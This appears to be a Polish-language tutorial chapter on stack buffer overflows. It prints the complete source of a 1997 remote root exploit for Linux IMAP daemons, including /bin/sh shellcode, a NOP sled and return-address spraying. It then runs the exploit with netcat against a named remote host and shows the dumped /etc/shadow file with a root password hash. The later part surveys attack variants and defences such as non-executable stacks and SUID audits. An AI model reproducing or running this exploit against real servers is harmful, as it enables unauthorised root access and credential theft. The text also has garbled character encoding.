a: napisać exploit lokalny i potem próbować go jakoœ przetransportować na zdalny host

b. w kodzie programu zawrzeć zarówno jak nadpisywanie bufora jak i łšczenie się z hostem przez funkcje z sockets.h i in.h (?????)

Spróbujmy tego dokonać pierwszym sposobem, a w zasadzie przyjrzyjmy się już gotowemu exploitowi, Mam nadzieję, że stworzenie czegoœ podobnego nie sprawiłoby Ci większego klopotu.

(Komentarze moje)

 

[hacker@bad nc]$ cat imap1.c

/*

* IMAPd Linux/intel remote xploit by savage@apostols.org 1997-April-05

*

* Workz fine against RedHat and imapd distributed with pine

*

* Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and the rest of

ToXyn !!!

*

* usage:

* $ (imap 0; cat) | nc victim 143

* |

* +--> usually from -1000 to 1000 ( try in steps of 100 )

*

* [ I try 0, 100 and 200 - so1o ]

*/

#include <stdio.h>

char shell[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"

"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"

"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xe8\xc0\xff\xff\xff/bin/sh";

Standardowy shell, nie wiadomo czemu taki długi :-)

char username[1024+255];

void main(int argc, char *argv[]) {

int i,a;

long val;

if(argc>1)

a=atoi(argv[1]);

else

a=0;

strcpy(username,shell);

for(i=strlen(username);i<sizeof(username);i++)

username[i]=0x90; /* NOP */

val = 0xbffff501 + a;

Miejsce na stosie, w którym znajdzie się poczštek bufora, liczone wstępnie mniej więcej w 1/4 segmentu, liczšc od górnego adresu, jednak z możliwoœciš skorygowania, jeœliby (???)

 

for(i=1024;i<strlen(username)-4;i+=4)

{

username[i+0] = val & 0x000000ff;

username[i+1] = (val & 0x0000ff00) >> 8;

username[i+2] = (val & 0x00ff0000) >> 16;

username[i+3] = (val & 0xff000000) >> 24;

}

Cały obszar bufora został w ten sposób wypełniony wskaŸnikiem do jego poczštku, tš technikš znasz już z poprzednich przykładów

username[ sizeof(username)-1 ] = 0;

printf("%d LOGIN \"%s\" pass\n", sizeof(shell), username);

}

Przygotowana zawartoœć bufora zostanie wydrukowana. Równie dobrze mogłaby zostać wyeksportowana np. jako zmienna systemowa, ale skoro autor przyjšł tego założenie, to widać tak ma być :-)

[hacker@bad nc]$ ./imap1.c

301 LOGIN "





ë;^‰ví1É1Ŕˆn_‰n°

_‰ón@in

‰ę̀1ۉŘ@̀čŔ˙˙˙/bin/sh









P









P

_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_

ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_

ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_

ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż

" pass

Do wysłania bufora na adres “Host zdalny, port 143” użyjemy zgodnie z sugestiš twórcy exploita, narzędzia opisanego już w poprzednich rozdziałach narzędzia czyli NetCat-a.

[hacker@bad nc]$(./imap1 0;cat)|nc IZA VCS.COM 143

* OK IZA.VCS.COM IMAP2bis Service 7.8(99) at Wed, 4 Feb 1998 05:02:27 +0100 (MET)

cat /etc/shadow

root:L7Z6gLt5gYU62:10165:-1:-1:-1:-1:-1:-1

bin:*:10165:-1:-1:-1:-1:-1:-1

daemon:*:10165:-1:-1:-1:-1:-1:-1

adm:*:10165:-1:-1:-1:-1:-1:-1

lp:*:10165:-1:-1:-1:-1:-1:-1

sync:*:10165:-1:-1:-1:-1:-1:-1

shutdown:*:10165:-1:-1:-1:-1:-1:-1

halt:*:10165:-1:-1:-1:-1:-1:-1

mail:*:10165:-1:-1:-1:-1:-1:-1

news:*:10165:-1:-1:-1:-1:-1:-1

.

.

.

˙

I mimo, że nie doczekaliœmy się tradycyjnego # , to zagoœcilismy się na zdalnym serwerze na dobre.

Przykład programu wykorzystujšcego dziurę w IMAPD, zawierajšcego w sobie zarówno sam kod rootshell-a, jak i polecenia służšce do połšczenia się z portem 143 znajduje się w pliku \Exploits\Imapd_ov.htm

Inne typy ataków "buffer overflow"

Tak, tak to jeszcze nie wszystko , a właœciwie dopiero poczštek. W miarę jak pojawiajš się narzędzia do obrony przed “zwykłym” przepełnianiem stosu powstajš mutacje tego typu ataków, które sš jeszcze groŸniejsze od tradycyjnych. Można sobie wyobrazić jeszcze co najmniej cztery scenariusze dajšce rootshella, a na pewno nie jest to wszystko na co stać twórców exploitów.

  1. Atakowany program, w jednym z parametrów ma przekazane n* adres drugiego parametru, w którym znajduje się właœciwy cišg instrukcji wywołujšcych \bin\sh . (Patrz na rysunek znajdujšcy się przy opisie sploitów wykorzystujšcych zmienne systemowe - jest to odmiana tego typu ataku)
  2. Zamiast umieszczać kod z instrukcjami wywołujšcymi rootshella na stosie. exploit œledzšc pracę atakowanego programu zmienia tak zmienia jego stos, aby adres powrotny wywołania funkcji system(), i to z łańcuchem “\bin\sh” jako parametrem. Jaki jest tego efekt - Możesz się domyœleć . Takie rozwišzanie przedstawił chyba jako pierwszy Solar Designer, a jego przykład Znajdziesz w pliku \Exploit\linuxsu2.htm ???
  3. Zmieniane sš odwołania do wskazań w dekryptorach PLT i GOT w plikach w formacie ELF (patrz plik \Read\Linux\Ldp\Elf.Doc.Tar.Gz - tam znajduje się dokładny opis formatu ELF). W efekcie program wywołujšc funkcję z biblioteki libc, tak naprawdę odwołuje się do przygotowanego przez nas kodu. Ten rodzaj ataku działa nawet jeœli segment stosu zostanie oznaczony jako Non-Executable
  4. Kod dajšcy nam większe uprawnienia w systemie zostaje umieszczony w segmencie danych. Musi być on trochę zmodyfikowany w stosunku do standardowego, ale dzięki temu ten rodzaj exploitów działa również przy stosie oznaczonym jako Non-Executable

Pozostaje œledzić, czy wyœcig między twórcami sploitów, a autorami narzędzi zabezpieczajšcych system zakończy się kiedyœ . Jedno jest pewne, że żadne automatyczne narzędzie nie zastšpi “czujnego” administratora systemu. Warto jednak omówić najważniejsze z nich:

 

Metody obrony:

Od razy na poczštku trzeba sobie jasno powiedzieć, że walka z “rozbijaniem stosu” nie jest łatwa i rzadko kiedy przynosi stuprocentowš pewnoœć wygranej (załatania aktualnych i potencjalnych dziur). Próba uodpornienia swojego serwera wišże się zawsze z koniecznoœciš przekompilowania, a nawet i zmiany kodu Ÿródłowego wielu aplikacji, bibliotek i jšdra systemu. Można jednak wybrać jednš z dwóch strategii i

  1. Załatać jšdro, tak aby w segmencie stosu procesu niemożliwe było wykonywanie kodu (czyli oznaczyć segment jak non - EXECUTABLE) - opis takiego przykładowego rozwišzania dla Linuxa, stworzonego przez SOLAR DESIGNER-a znajduje się w archiwum \READ\ROOTSHELL\buffer_overwrites.tar.gz na CD.-ROM-ie (dokładniej w pliku NATE-BUF.PS) . Jest to w momencie pisanie ksišżki rozwišzanie najnowsze, jednak po pierwsze czasami uniemożliwia pracę “normalnym” procesom, a po drugie nie daje stuprocentowej pewnoœci, gdyż możliwe sš mimo wszystko ataki np. poprzez mechanizm semaforów systemowych, które z racji swojej budowy, muszš czasami korzystać w ten sposób ze stosu oraz inne metody obejœcia tego zabezpieczenia. Same łaty jak i opis ich słabych punktów znajdujš się w kartotece \Exploits\Secure Linux by ... . Więcej o tym sposobie zabezpieczeń możesz dowiedzieć się czytajšc 52 “Phrack” - paragraf 6.
  2. Przekompilować wszystkie programy z ustawionym bitem SUID. I tu możemy próbować pójœć różnymi drogami

Lecz by były one zastšpione prze strncat(), strncpy() i fgets()

To rozwišzanie byłoby zdecydowanie najlepsze, ale spróbuj zmienić w ten sposób treœć jakiegoœ nie swojego programu i zachować przy tym nienaruszone wszystkie jego funkcje. Nic z tego jeœli nie jesteœ jego autorem. Zresztš i on sam też nie zawsze dałby radę, szczególnie po upływie dłuższego czasu od napisania aplikacji

char napis [15];

.

.

.

napis[28]=’t’;

Niestety wielu programistów uważa sprawdzania zakresu tablic za czynnoœć zbytecznš i może się okazać, że jeœli zbyt rygorystycznie będziemy je egzekwować, to połowa programów przestanie nam chodzić :-) . Troche dokladniejsze informacje o tej metodzie znajdujš się we wspomianym juz pliku READ\ROOTSHELL\ buffer_overwrites.tar.gz

 
Takie narzędzia, mimo że nieznacznie obniżajš efektywnoœć niektórych procesów majš przed sobš sporš przyszłoœć i wydaje się, że niedługš będš stanowiły głównš linie obrony przed “smasher-ami”

No i na koniec czynnoœć najmniej pracochłonna, za to mogšca przynieœć natychmiastowy efekt. Należy przejrzeć wszystkie pliki z ustawionym bitem SUID

(dla przypomnienia - mniej więcej tak:)

i wyłšczyć go wszędzie tam, gdzie nie jest on absolutnie konieczny.

Akademia | Andrzej Dudek | Listy | Programy